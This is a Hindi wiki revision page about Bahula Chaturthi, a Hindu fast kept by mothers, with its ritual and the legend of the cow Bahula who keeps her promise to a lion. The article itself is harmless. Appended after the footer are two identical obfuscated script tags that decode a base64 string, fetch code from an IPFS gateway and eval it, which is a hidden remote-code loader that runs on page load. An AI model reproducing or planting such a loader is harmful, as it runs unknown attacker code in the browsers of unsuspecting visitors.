बहुला चतुर्थी: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
(''''बहुला चतुर्थी''' भाद्रपद मास के कृष्ण पक्ष की [[चत...' के साथ नया पन्ना बनाया)
 
No edit summary
Line 1: Line 1:
'''बहुला चतुर्थी''' [[भाद्रपद मास]] के [[कृष्ण पक्ष]] की [[चतुर्थी]] तिथि को कहा जाता है। यह तिथि 'बहुला चौथ' के नाम से भी जानी जाती है। इस दिन भगवान [[गणेश|श्रीगणेश]] के निमित्त व्रत किया जाता है। [[वर्ष]] की प्रमुख चार चतुर्थियों में से एक यह भी है। इस दिन व्रत रखकर माताएँ अपने पुत्रों की रक्षा हेतु कामना करती हैं। बहुला चतुर्थी के दिन [[गेहूँ]] एवं [[चावल]] से निर्मित वस्तुएँ भोजन में ग्रहण करना वर्जित है। [[गाय]] तथा सिंह की [[मिट्टी]] की प्रतिमा बनाकर पूजन करने का विधान प्रचलित है। शास्त्रों के अनुसार इस दिन [[[[चन्द्रमा]]]] के उदय होने तक बहुला चतुर्थी का व्रत करने का बहुत ही महत्त्व है।
'''बहुला चतुर्थी''' [[भाद्रपद मास]] के [[कृष्ण पक्ष]] की [[चतुर्थी]] तिथि को कहा जाता है। यह तिथि 'बहुला चौथ' के नाम से भी जानी जाती है। इस दिन भगवान [[गणेश|श्रीगणेश]] के निमित्त व्रत किया जाता है। [[वर्ष]] की प्रमुख चार चतुर्थियों में से एक यह भी है। इस दिन व्रत रखकर माताएँ अपने पुत्रों की रक्षा हेतु कामना करती हैं। बहुला चतुर्थी के दिन [[गेहूँ]] एवं [[चावल]] से निर्मित वस्तुएँ भोजन में ग्रहण करना वर्जित है। [[गाय]] तथा सिंह की [[मिट्टी]] की प्रतिमा बनाकर पूजन करने का विधान प्रचलित है। शास्त्रों के अनुसार इस दिन [[चन्द्रमा]] के उदय होने तक बहुला चतुर्थी का व्रत करने का बहुत ही महत्त्व है।
==बहुला व्रत विधि==
==बहुला व्रत विधि==
इस दिन सुबह जल्दी उठकर नित्य कर्मों से निवृत्त होने के पश्चात [[स्नान]] आदि के बाद स्वच्छ वस्त्र धारण करना चाहिए। व्रती को पूरा दिन निराहार रहना होता है। संध्या समय में [[गाय]] माता तथा उसके बछडे़ की [[पूजा]] की जाती है। भोजन में कई तरह के पकवान बनाए जाते हैं, जिन खाद्य पदार्थों को बनाया जाता है, उन्हीं का संध्या समय में गाय माता को भोग लगाया जाता है। [[भारत]] के कुछ भागों में [[जौ]] तथा [[सत्तू]] का भी भोग लगाया जाता है। बाद में इसी भोग लगे भोजन को स्त्रियाँ ग्रहण करती हैं। इस दिन गाय तथा सिंह की [[मिट्टी]] की मूर्ति का पूजन भी किया जाता है।
इस दिन सुबह जल्दी उठकर नित्य कर्मों से निवृत्त होने के पश्चात [[स्नान]] आदि के बाद स्वच्छ वस्त्र धारण करना चाहिए। व्रती को पूरा दिन निराहार रहना होता है। संध्या समय में [[गाय]] माता तथा उसके बछडे़ की [[पूजा]] की जाती है। भोजन में कई तरह के पकवान बनाए जाते हैं, जिन खाद्य पदार्थों को बनाया जाता है, उन्हीं का संध्या समय में गाय माता को भोग लगाया जाता है। [[भारत]] के कुछ भागों में [[जौ]] तथा [[सत्तू]] का भी भोग लगाया जाता है। बाद में इसी भोग लगे भोजन को स्त्रियाँ ग्रहण करती हैं। इस दिन गाय तथा सिंह की [[मिट्टी]] की मूर्ति का पूजन भी किया जाता है।
Line 7: Line 7:
बहुला चतुर्थी व्रत की कथा इस प्रकार है-
बहुला चतुर्थी व्रत की कथा इस प्रकार है-


किसी [[ब्राह्मण]] के घर में बहुला नामक एक गाय थी। बहुला गाय का एक बछडा़ था। बहुला को संध्या समय में घर वापिस आने में देर हो जाती तो यह बछडा़ व्याकुल हो उठता था। एक दिन बहुला घास चरते हुए अपने झुण्ड से बिछड़ गई और जंगल में पहुंच गई। जंगल में वह अपने घर लौटने का रास्ता खोज रही थी कि अचानक उसके सामने एक खूंखार शेर आ गया। शेर ने बहुला पर झपट्टा मारा। तब बहुला ने उससे विनती करने लगी कि उसका छोटा-सा बछडा़ सुबह से उसकी राह देख रहा है। वह भूखा है और दूध मिलने की प्रतीक्षा कर रहा है। आप कृपया कर मुझे जाने दें। मैं उसे दूध पिलाकर वापिस आ जाऊंगी तब आप मुझे खाकर अपनी भूख को शांत कर लेना।
किसी [[ब्राह्मण]] के घर में बहुला नामक एक [[गाय]] थी। बहुला गाय का एक बछड़ा था। बहुला को संध्या समय में घर वापिस आने में देर हो जाती तो उसका बछड़ा व्याकुल हो उठता था। एक दिन बहुला घास चरते हुए अपने झुण्ड से बिछड़ गई और जंगल में काफ़ी दूर निकल गई। जंगल में वह अपने घर लौटने का रास्ता खोज रही थी कि अचानक उसके सामने एक खूँखार [[शेर]] आ गया। शेर ने बहुला पर झपट्टा मारा। तब बहुला उससे विनती करने लगी कि उसका छोटा-सा बछड़ा सुबह से उसकी राह देख रहा है। वह भूखा है और दूध मिलने की प्रतीक्षा कर रहा है। आप कृपया कर मुझे जाने दें। मैं उसे दूध पिलाकर वापिस आ जाऊँगी, तब आप मुझे खाकर अपनी भूख को शांत कर लेना।


सिंह को बहुला पर विश्वास नहीं था कि वह वापिस आएगी। तब बहुला ने सत्य और धर्म की शपठ ली और सिंहराज को विश्वास दिलाया कि वह वापिस जरुर आएगी। सिंह से बहुला को उसके बछडे़ के पास वापिस जाने दिया। बहुला शीघ्रता से घर पहुंची। अपने बछडे़ को शीघ्रता से दूध पिलाया और उसे बहुत चाटा-चूमा। उसके बाद अपना वचन पूरा करने के लिए सिंहराज के समक्ष जाकर खडी़ हो गई। सिंह को उसे अपने सामने देखकर बहुत हैरानी हुई। बहुला के वचन के सामने उसने अपना सिर झुकाया और खुशी से बहुला को वापिस घर जाने दिया। बहुला कुशलता से घर लौट आई और प्रसन्नता से अपने बछडे़ के साथ रहने लगी। तभी से बहुला चौथ का यह व्रत रखने की परम्परा चली आ रही है।
शेर को बहुला पर विश्वास नहीं था कि वह वापिस आएगी। तब बहुला ने सत्य और धर्म की शपथ ली और सिंहराज को विश्वास दिलाया कि वह वापिस जरूर आएगी। शेर से बहुला को उसके बछड़े के पास वापिस जाने दिया। बहुला शीघ्रता से घर पहुँची। अपने बछडे़ को शीघ्रता से [[दूध]] पिलाया और उसे बहुत चाटा-चूमा। उसके बाद अपना वचन पूरा करने के लिए सिंहराज के समक्ष जाकर खडी़ हो गई। शेर को उसे अपने सामने देखकर बहुत हैरानी हुई। बहुला के वचन के सामने उसने अपना सिर झुकाया और खुशी से बहुला को वापिस घर जाने दिया। बहुला कुशलता से घर लौट आई और प्रसन्नता से अपने बछडे़ के साथ रहने लगी। तभी से 'बहुला चौथ' का यह व्रत रखने की परम्परा चली आ रही है।
 
====अन्य प्रसंग====
एक अन्य कथा के अनुसार ब्रज में कामधेनु के कुल की एक गाय बहुला थी। यह नन्दकुल की सभी गायों में सर्वश्रेष्ठ गाय थी। एक बार भगवान कृष्ण ने बहुला की परीक्षा लेने की सोची। एक दिन जब बहुला वन में चर रही थी तभी सिंह के रुप में श्रीकृष्ण भगवान ने उन्हें दबोच लिया। बाकी कीम कथा ऊपर लिखित कथा के आधार पर है। बाद में कृष्ण भगवान ने कहा कि बहुला तुम्हारे प्रभाव से और सत्य के कारण कलयुग में घर-घर में तुम्हारा पूजन किया जाएगा। इसलिए आज भी गायों की पूजा की जाती है और गौ मता के नाम से पुकारी जाती हैं।
एक अन्य कथा के अनुसार [[ब्रज]] में [[कामधेनु]] के कुल की एक [[गाय]] 'बहुला' थी। यह नन्दकुल की सभी गायों में सर्वश्रेष्ठ गाय थी। एक बार भगवान [[कृष्ण]] ने बहुला की परीक्षा लेने की सोची। एक दिन जब बहुला वन में चर रही थी, तभी सिंह के रूप में श्रीकृष्ण भगवान ने उन्हें दबोच लिया। बाकी की कथा उपरोक्त लिखित कथा के आधार पर है। बाद में कृष्ण भगवान ने कहा कि बहुला तुम्हारे प्रभाव से और सत्य के कारण [[कलियुग|कलयुग]] में घर-घर में तुम्हारा पूजन किया जाएगा। इसलिए आज भी गायों की [[पूजा]] की जाती है और वह 'गौमाता' के नाम से पुकारी जाती हैं।


{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}

Revision as of 06:22, 24 August 2013

बहुला चतुर्थी भाद्रपद मास के कृष्ण पक्ष की चतुर्थी तिथि को कहा जाता है। यह तिथि 'बहुला चौथ' के नाम से भी जानी जाती है। इस दिन भगवान श्रीगणेश के निमित्त व्रत किया जाता है। वर्ष की प्रमुख चार चतुर्थियों में से एक यह भी है। इस दिन व्रत रखकर माताएँ अपने पुत्रों की रक्षा हेतु कामना करती हैं। बहुला चतुर्थी के दिन गेहूँ एवं चावल से निर्मित वस्तुएँ भोजन में ग्रहण करना वर्जित है। गाय तथा सिंह की मिट्टी की प्रतिमा बनाकर पूजन करने का विधान प्रचलित है। शास्त्रों के अनुसार इस दिन चन्द्रमा के उदय होने तक बहुला चतुर्थी का व्रत करने का बहुत ही महत्त्व है।

बहुला व्रत विधि

इस दिन सुबह जल्दी उठकर नित्य कर्मों से निवृत्त होने के पश्चात स्नान आदि के बाद स्वच्छ वस्त्र धारण करना चाहिए। व्रती को पूरा दिन निराहार रहना होता है। संध्या समय में गाय माता तथा उसके बछडे़ की पूजा की जाती है। भोजन में कई तरह के पकवान बनाए जाते हैं, जिन खाद्य पदार्थों को बनाया जाता है, उन्हीं का संध्या समय में गाय माता को भोग लगाया जाता है। भारत के कुछ भागों में जौ तथा सत्तू का भी भोग लगाया जाता है। बाद में इसी भोग लगे भोजन को स्त्रियाँ ग्रहण करती हैं। इस दिन गाय तथा सिंह की मिट्टी की मूर्ति का पूजन भी किया जाता है।

संध्या के समय पूरे विधि-विधान से प्रथम पूजनीय भगवान गणेश की पूजा की जाती है। रात्रि में चन्द्रमा के उदय होने पर उन्हें अर्ध्य दिया जाता है। कई स्थानों पर शंख में दूध, सुपारी, गंध तथा अक्षत (चावल) से भगवान श्रीगणेश और चतुर्थी तिथि को भी अर्ध्य दिया जाता है। इस प्रकार इस संकष्ट चतुर्थी का पालन जो भी व्यक्ति करता है, उसकी सभी मनोकामनाएँ पूर्ण होती हैं। व्यक्ति को मानसिक तथा शारीरिक कष्टों से छुटकारा मिलता है। जो व्यक्ति संतान के लिए व्रत नहीं रखते हैं, उन्हें संकट, विघ्न तथा सभी प्रकार की बाधाएँ दूर करने के लिए इस व्रत को अवश्य करना चाहिए।

व्रत कथा

बहुला चतुर्थी व्रत की कथा इस प्रकार है-

किसी ब्राह्मण के घर में बहुला नामक एक गाय थी। बहुला गाय का एक बछड़ा था। बहुला को संध्या समय में घर वापिस आने में देर हो जाती तो उसका बछड़ा व्याकुल हो उठता था। एक दिन बहुला घास चरते हुए अपने झुण्ड से बिछड़ गई और जंगल में काफ़ी दूर निकल गई। जंगल में वह अपने घर लौटने का रास्ता खोज रही थी कि अचानक उसके सामने एक खूँखार शेर आ गया। शेर ने बहुला पर झपट्टा मारा। तब बहुला उससे विनती करने लगी कि उसका छोटा-सा बछड़ा सुबह से उसकी राह देख रहा है। वह भूखा है और दूध मिलने की प्रतीक्षा कर रहा है। आप कृपया कर मुझे जाने दें। मैं उसे दूध पिलाकर वापिस आ जाऊँगी, तब आप मुझे खाकर अपनी भूख को शांत कर लेना।

शेर को बहुला पर विश्वास नहीं था कि वह वापिस आएगी। तब बहुला ने सत्य और धर्म की शपथ ली और सिंहराज को विश्वास दिलाया कि वह वापिस जरूर आएगी। शेर से बहुला को उसके बछड़े के पास वापिस जाने दिया। बहुला शीघ्रता से घर पहुँची। अपने बछडे़ को शीघ्रता से दूध पिलाया और उसे बहुत चाटा-चूमा। उसके बाद अपना वचन पूरा करने के लिए सिंहराज के समक्ष जाकर खडी़ हो गई। शेर को उसे अपने सामने देखकर बहुत हैरानी हुई। बहुला के वचन के सामने उसने अपना सिर झुकाया और खुशी से बहुला को वापिस घर जाने दिया। बहुला कुशलता से घर लौट आई और प्रसन्नता से अपने बछडे़ के साथ रहने लगी। तभी से 'बहुला चौथ' का यह व्रत रखने की परम्परा चली आ रही है।

अन्य प्रसंग

एक अन्य कथा के अनुसार ब्रज में कामधेनु के कुल की एक गाय 'बहुला' थी। यह नन्दकुल की सभी गायों में सर्वश्रेष्ठ गाय थी। एक बार भगवान कृष्ण ने बहुला की परीक्षा लेने की सोची। एक दिन जब बहुला वन में चर रही थी, तभी सिंह के रूप में श्रीकृष्ण भगवान ने उन्हें दबोच लिया। बाकी की कथा उपरोक्त लिखित कथा के आधार पर है। बाद में कृष्ण भगवान ने कहा कि बहुला तुम्हारे प्रभाव से और सत्य के कारण कलयुग में घर-घर में तुम्हारा पूजन किया जाएगा। इसलिए आज भी गायों की पूजा की जाती है और वह 'गौमाता' के नाम से पुकारी जाती हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>